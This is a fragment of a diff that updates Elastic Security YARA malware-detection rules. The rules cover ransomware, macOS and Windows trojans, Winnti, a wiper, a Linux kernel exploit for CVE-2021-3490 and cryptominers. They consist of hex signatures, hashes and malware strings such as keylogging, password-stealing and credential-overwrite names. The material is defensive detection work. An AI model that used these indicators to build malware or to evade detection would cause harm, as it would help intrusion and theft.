@@ -79124,62 +83127,67 @@ rule ELASTIC_Windows_Ransomware_Rook_Ee21Fa67 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 01 75 09 8B C3 FF C3 48 89 74 C5 F0 48 FF C7 48 83 FF 1A 7C DB }
+		$a1 = "#BlackHunt_ReadMe.txt" wide fullword
+		$a2 = "#BlackHunt_Private.key" wide fullword
+		$a3 = "#BlackHunt_ID.txt" wide fullword
+		$a4 = "BLACK_HUNT_MUTEX" ascii fullword
+		$a5 = "BlackKeys" ascii fullword
+		$a6 = "ENCRYPTED VOLUME : %dGB" ascii fullword
+		$a7 = "RUNNING TIME : %02dm:%02ds" ascii fullword
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Windows_Backdoor_Teamviewer_Df8E7326 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Eggshell_Ddacf7B9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Backdoor Teamviewer (Windows.Backdoor.TeamViewer)"
+		description = "Detects Macos Trojan Eggshell (MacOS.Trojan.Eggshell)"
 		author = "Elastic Security"
-		id = "df8e7326-5879-48d7-8a5f-1c9a2d8b7f8d"
-		date = "2022-10-29"
-		modified = "2022-12-20"
-		reference = "https://vms.drweb.com/virus/?i=8172096"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Backdoor_TeamViewer.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "68d9ffb6e00c2694d0d827108d0410d5a66d4f8cf839afddd17c5887b0149350"
-		logic_hash = "3d42c76626c76959e450a81001c73d8d47b52789cab324e0cc7af09303c1367d"
+		id = "ddacf7b9-8479-47ef-9df2-17060578a8e5"
+		date = "2021-09-30"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Eggshell.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6d93a714dd008746569c0fbd00fadccbd5f15eef06b200a4e831df0dc8f3d05b"
+		logic_hash = "f986f7d1e3a68e27f82048017c6d6381a0354ffad2cd10f3eee69bbbfa940abd"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "0f2406e98fa1383e39672bd4ec32a111363f7d33f8bc33c2bd7ea36353faab45"
+		fingerprint = "2e6284c8e44809d5f88781dcf7779d1e24ce3aedd5e8db8598e49c01da63fe62"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "m%c%c%c%c%c%c.com" ascii fullword
-		$a2 = "client_id=%.8x&connected=%d&server_port=%d&debug=%d&os=%d.%d.%04d&dgt=%d&dti=%d" ascii fullword
-		$a3 = "\\save.dat" ascii fullword
-		$a4 = "auth_ip" ascii fullword
-		$a5 = "updips" ascii fullword
-		$b1 = { 55 8B EC 56 E8 BF 25 00 00 50 E8 7B 5B 00 00 8B F0 59 85 F6 75 2C 8B 75 08 56 E8 A9 25 00 00 50 }
+		$a1 = "ScreenshotThread" ascii fullword
+		$a2 = "KeylogThread" ascii fullword
+		$a3 = "GetClipboardThread" ascii fullword
+		$a4 = "_uploadProgress" ascii fullword
+		$a5 = "killTask:" ascii fullword
 
 	condition:
-		5 of ($a*) or 1 of ($b*)
+		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_4557_B7E15F5E : FILE MEMORY CVE_2016_4557
+rule ELASTIC_Linux_Exploit_CVE_2021_3490_D369D615 : FILE MEMORY CVE_2021_3490
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 4557 (Linux.Exploit.CVE-2016-4557)"
+		description = "Detects Linux Exploit Cve 2021 3490 (Linux.Exploit.CVE-2021-3490)"
 		author = "Elastic Security"
-		id = "b7e15f5e-73d2-4718-8fac-e6a285b0c73c"
-		date = "2022-01-05"
+		id = "d369d615-d2a3-4f9d-b5c7-eb0fac5d43e7"
+		date = "2021-11-12"
 		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_4557.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bbed2f81104b5eb4a8475deff73b29a350dc8b0f96dcc4987d0112b993675271"
-		logic_hash = "9c40233fec9607404ca4f78313e0f62922180e5ef88dbf801dd60725af61bdde"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2021_3490.yar#L1-L30"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e65ba616942fd1e893e10898d546fe54458debbc42e0d6826aff7a4bb4b2cf19"
+		logic_hash = "6fa4b36366d2c255f5ccf0e22a06c7e17df74fddd06963787dbcd713b3e8aca6"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY, CVE-2016-4557"
-		fingerprint = "14baf456521fd7357a70ddde9da11f27d17a45d7d12c70a0101d6bdc45e30c74"
+		quality = 75
+		tags = "FILE, MEMORY, CVE-2021-3490"
+		fingerprint = "4f8f4c7fabe32a023f8aafb817e2c27c5a5e0e9246ddccacf99a47f2ab850014"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -79187,96 +83195,97 @@ rule ELASTIC_Linux_Exploit_CVE_2016_4557_B7E15F5E : FILE MEMORY CVE_2016_4557
 		os = "linux"
 
 	strings:
-		$a = { 2E 20 69 66 20 74 68 69 73 20 77 6F 72 6B 65 64 2C 20 79 6F }
+		$c1 = "frame_dummy_init_array_entry"
+		$c2 = "leak_oob_map_ptr"
+		$c3 = "overwrite_cred"
+		$c4 = "obj_get_info_by_fd"
+		$c5 = "kernel_write_uint"
+		$c6 = "search_init_pid_ns_kstrtab"
+		$c7 = "search_init_pid_ns_ksymtab"
+		$msg1 = "failed to leak ptr to BPF map"
+		$msg2 = "preparing to overwrite creds..."
+		$msg3 = "success! enjoy r00t"
+		$msg4 = "Useage: %s <path to program to execute as root>"
+		$msg5 = "searching for init_pid_ns in ksymtab"
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Windows_Trojan_Danabot_6F3Dadb2 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrminer_70C153B5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Danabot (Windows.Trojan.Danabot)"
+		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
 		author = "Elastic Security"
-		id = "6f3dadb2-3283-4333-8143-1265721d2221"
-		date = "2021-08-15"
-		modified = "2021-10-04"
+		id = "70c153b5-2628-4504-8f21-2c7f0201b133"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Danabot.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "716e5a3d29ff525aed30c18061daff4b496f3f828ba2ac763efd857062a42e96"
-		logic_hash = "b9c895be9eab775726abd2c13256d598c5b79bceb2d652c30b1df4cfc37e4b93"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrminer.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "55b133ba805bb691dc27a5d16d3473650360c988e48af8adc017377eed07935b"
+		logic_hash = "e2fc0721435c656a16e59b6747563df17f0f54a4620efc403a3bba717ccb0f38"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "387e3fb3c3f625c8b5e42052c126ce4dbb7de3a7de6b68addf0a0777b9d3b504"
+		fingerprint = "51d304812e72045387b002824fdc9231d64bf4e8437c70150625c4b2aa292284"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "%s.dll" ascii fullword
-		$a2 = "del_ini://Main|Password|" wide fullword
-		$a3 = "S-Password.txt" wide fullword
-		$a4 = "BiosTime:" wide fullword
-		$a5 = "%lu:%s:%s:%d:%s" ascii fullword
-		$a6 = "DNS:%s" ascii fullword
-		$a7 = "THttpInject&" ascii fullword
-		$a8 = "TCookies&" ascii fullword
+		$a = { EC 18 BA 08 00 00 00 48 8D 4C 24 08 48 89 74 24 08 BE 02 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Jupyter_56152E31 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrminer_98B00F9C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Jupyter (Windows.Trojan.Jupyter)"
+		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
 		author = "Elastic Security"
-		id = "56152e31-77c6-49fa-bbc5-c3630f11e633"
-		date = "2021-07-22"
-		modified = "2021-08-23"
+		id = "98b00f9c-354a-47dd-8546-a2842559d247"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Jupyter.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ce486097ad2491aba8b1c120f6d0aa23eaf59cf698b57d2113faab696d03c601"
-		logic_hash = "7b32e9caca744f4f6b48aefa5fda111e6b7ac81a62dd1fb8873d2c800ac3c42b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrminer.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c01b88c5d3df7ce828e567bd8d639b135c48106e388cd81497fcbd5dcf30f332"
+		logic_hash = "cf8c5deddf22e7699cd880bd3f9f28721db5ece6705be4f932e1d041893eef71"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9cccc2e3d4cfe9ff090d02b143fa837f4da0c229426435b4e097f902e8c5fb01"
+		fingerprint = "8d231a490e818614141d6805a9e7328dc4b116b34fd027d5806043628b347141"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "%appdata%\\solarmarker.dat" ascii fullword
-		$a2 = "\\AppData\\Roaming\\solarmarker.dat" wide fullword
-		$b1 = "steal_passwords" ascii fullword
-		$b2 = "jupyter" ascii fullword
+		$a = { 0F 38 DC DF 49 89 D4 66 0F 7F 24 1A 66 0F EF C3 66 42 0F 7F }
 
 	condition:
-		1 of ($a*) or 2 of ($b*)
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Winnti_61215D98 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrminer_2B250178 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Winnti (Linux.Trojan.Winnti)"
+		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
 		author = "Elastic Security"
-		id = "61215d98-f52d-45d3-afa2-4bd25270aa99"
+		id = "2b250178-3f9a-4aeb-819a-970b5ef9c98a"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Winnti.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cc1455e3a479602581c1c7dc86a0e02605a3c14916b86817960397d5a2f41c31"
-		logic_hash = "051cc157f189094d25d45e66e410bdfd61ed7649a4c935d076cec1597c5debf5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrminer.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "636605cf63d3e335fe9481d4d110c43572e9ab365edfa2b6d16d96b52d6283ef"
+		logic_hash = "067705c52de710372b4a2a3b77427106068ad2d9a8e56602e315d09e7b8b6206"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "20ee92147edbf91447cca2ee0c47768a50ec9c7aa7d081698953d3bdc2a25320"
+		fingerprint = "e297a790a78d32b973d6a028a09c96186c3971279b5c5eea4ff6409f12308e67"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -79284,175 +83293,171 @@ rule ELASTIC_Linux_Trojan_Winnti_61215D98 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { FF FF FF C9 C3 55 48 89 E5 48 83 EC 30 89 F8 66 89 45 DC C7 45 FC FF FF }
+		$a = { 03 7E 11 8B 44 24 38 89 EF 31 D2 89 06 8B 44 24 3C 89 46 04 F7 C7 02 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Winnti_4C5A1865 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrminer_67Bf4B54 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Winnti (Linux.Trojan.Winnti)"
+		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
 		author = "Elastic Security"
-		id = "4c5a1865-ff41-445b-8616-c83b87498c2b"
-		date = "2021-06-28"
+		id = "67bf4b54-aa02-4f4c-ba70-3f2db1418c7e"
+		date = "2021-01-12"
 		modified = "2021-09-16"
-		reference = "0d963a713093fc8e5928141f5747640c9b43f3aadc8a5478c949f7ec364b28ad"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Winnti.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "69f6dcba59ec8cd7f4dfe853495a35601e35d74476fad9e18bef7685a68ece51"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrminer.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9d33fba4fda6831d22afc72bf3d6d5349c5393abb3823dfa2a5c9e391d2b9ddf"
+		logic_hash = "448f5b9dc3c17984464c15f6d542f495a52b0531acc362dedfe3d1a20b932969"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "685fe603e04ff123b3472293d3d83e2dc833effd1a7e6c616ff17ed61df0004c"
-		severity = "100"
+		fingerprint = "5f2fae0eee79dac3c202796d987ad139520fadae145c84ab5769d46afb2518c2"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { C1 E8 1F 84 C0 75 7B 85 D2 89 D5 7E 75 8B 47 0C 39 C6 7D 6E 44 8D }
+		$a = { 46 70 4A 8B 2C E0 83 7D 00 03 74 DA 8B 4D 68 85 C9 74 DC 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Winnti_6F4Ca425 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrminer_504B42Ca : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Winnti (Linux.Trojan.Winnti)"
+		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
 		author = "Elastic Security"
-		id = "6f4ca425-5cd2-4c22-b017-b5fc02b3abc2"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "161af780209aa24845863f7a8120aa982aa811f16ec04bcd797ed165955a09c1"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Winnti.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "a1ffc0e3d27c4bb9fd10f14d45b649b4f059c654b31449013ac06d0981ed25ed"
+		id = "504b42ca-00a7-4917-8bb1-1957838a1d27"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrminer.yar#L81-L98"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "dd3ed5350e0229ac714178a30de28893c30708734faec329c776e189493cf930"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dec25af33fc004de3a1f53e0c3006ff052f7c51c95f90be323b281590da7d924"
-		severity = "100"
+		fingerprint = "265a3cb860e1f0ddafbe5658fa3a341d7419c89eecc350f8fc16e7a1e05a7673"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 89 E5 48 89 7D D8 48 8B 45 D8 0F B6 40 27 0F BE C0 89 45 F8 48 8B }
+		$a = { D7 8B 04 8C 44 8D 50 FF 4C 89 04 C6 44 89 14 8C 75 D7 48 8B 2E 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Winnti_De4B0F6E : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrminer_D1Bb752F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Winnti (Linux.Trojan.Winnti)"
+		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
 		author = "Elastic Security"
-		id = "de4b0f6e-0183-4ea8-9c03-f716a25f1884"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "a6b9b3ea19eaddd4d90e58c372c10bbe37dbfced638d167182be2c940e615710"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Winnti.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "fb7b0ff4757dfc1ba2ca8585d5ddf14aae03063e10bdc2565443362c6ba37c30"
+		id = "d1bb752f-f5d6-4d93-96af-d977b501776a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrminer.yar#L100-L118"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bea55bc9495ee51c78ceedadf3a685ea9d6dd428170888c67276c100d4d94beb"
+		logic_hash = "47aa5516350d5c00d1387649df46ce8f09d87bdfafeaa4cbf1c3ef5f2e0b9023"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c72eddc2d72ea979ad4f680d060aac129f1cd61dbdf3b0b5a74f5d35a9fe69d7"
-		severity = "100"
+		fingerprint = "0f2455a4e80d93e7f1e420dc2f36e89c28ecb495879bca2e683a131b2770c3ee"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 85 30 FF FF FF 02 00 48 8D 85 30 FF FF FF 48 8D 50 02 0F B7 85 28 FF }
+		$a = { F8 12 48 29 C8 48 2B 83 B0 00 00 00 48 C1 E8 03 48 F7 E2 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Wiper_Doublezero_65Ec0C50 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrminer_D625Fcd2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Wiper Doublezero (Windows.Wiper.DoubleZero)"
+		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
 		author = "Elastic Security"
-		id = "65ec0c50-4038-46a7-879b-fbb4aab18725"
-		date = "2022-03-22"
-		modified = "2022-04-12"
+		id = "d625fcd2-2951-4ecf-91cd-d58e16c33c65"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Wiper_DoubleZero.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe"
-		logic_hash = "bce33817d99f71b9d087ea079ef8db08b496315b72cf9d1cf6f0b107a604e52c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrminer.yar#L120-L137"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "b95b66392e1a07e0b6acd718a9501cede76e57561e69701e9e881bd3fbd3fe39"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2441bcdf7bc48df098f4ef68231fb15fc5c8f96af2e170de77f1718487b945b2"
+		fingerprint = "08c8d00e38fbf62cbf0aa329d6293fba302c3c76aee8c33341260329c14a58aa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$s1 = "\\Users\\\\.*?\\\\AppData\\\\Roaming\\\\Microsoft.*" wide fullword
-		$s2 = "\\Users\\\\.*?\\\\AppData\\\\Local\\\\Application Data.*" wide fullword
-		$s3 = "\\Users\\\\.*?\\\\Local Settings.*" wide fullword
-		$s4 = "get__beba00adeeb086e6" ascii fullword
-		$s5 = "FileShareWrite" ascii fullword
+		$a = { 20 00 00 40 00 0C C0 5C 02 60 01 02 03 12 00 40 04 50 09 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Stop_1E8D48Ff : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrminer_02D19C01 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Stop (Windows.Ransomware.Stop)"
+		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
 		author = "Elastic Security"
-		id = "1e8d48ff-e0ab-478d-8268-a11f2e87ab79"
-		date = "2021-06-10"
-		modified = "2021-08-23"
+		id = "02d19c01-51e9-4a46-a06b-d5f7e97285d9"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Stop.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3"
-		logic_hash = "d743feae072a5f3e1b008354352bef48218bb041bc8a5ba39526815ab9cd2690"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrminer.yar#L139-L157"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b6df662f5f7566851b95884c0058e7476e49aeb7a96d2aa203393d88e584972f"
+		logic_hash = "43a1dc49bf75cd13637c37290d47b4d6fc1b2c2ac252b64725c0c64e1dd745c6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb"
+		fingerprint = "724bbc2910217bcac457e6ba0c0848caf38e12f272b0104ade1c7bc57dc85c27"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = "E:\\Doc\\My work (C++)\\_Git\\Encryption\\Release\\encrypt_win_api.pdb" ascii fullword
-		$b = { 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF }
+		$a = { 4C 8D 7E 15 41 56 41 55 41 54 41 BB 03 00 00 00 55 53 48 89 FB 48 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_402Be6C5 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrminer_2Dd045Fc : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
 		author = "Elastic Security"
-		id = "402be6c5-a1d8-4d7a-88ba-b852e0db1098"
+		id = "2dd045fc-a585-4a49-b334-773bc86a3370"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d30a8f5971763831f92d9a6dd4720f52a1638054672a74fdb59357ae1c9e6deb"
-		logic_hash = "b32111972bc21822f0f2c8e47198c90b70e78667410175257b9542c212fc3a1d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrminer.yar#L159-L177"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "30a77ab582f0558829a78960929f657a7c3c03c2cf89cd5a0f6934b79a74b7a4"
+		logic_hash = "fa23ca75027f7a5e73652173c9e84112a0b5cd3008fc453fdb33c980dc7b7b24"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1e906f5a06f688084edf537ead0b7e887bd9e0fcc39990c976ea8c136dc52624"
+		fingerprint = "b5f02ac76db686e61c6f293183f2c17fe0f901a65eebaccfe109f07fc9abeeaa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -79460,28 +83465,28 @@ rule ELASTIC_Linux_Trojan_Generic_402Be6C5 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C0 52 4C 95 42 11 01 64 E9 D7 39 E4 89 34 FA 48 01 02 C1 3B 39 }
+		$a = { BA 0E 00 00 00 74 25 48 8B 8C 24 B8 00 00 00 64 48 33 0C 25 28 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_5420D3E7 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrminer_D1A814B0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
 		author = "Elastic Security"
-		id = "5420d3e7-012f-4ce0-bb13-9e5221efa73e"
+		id = "d1a814b0-38a6-4469-a29b-75787f52d789"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "103b8fced0aebd73cb8ba9eff1a55e6b6fa13bb0a099c9234521f298ee8d2f9f"
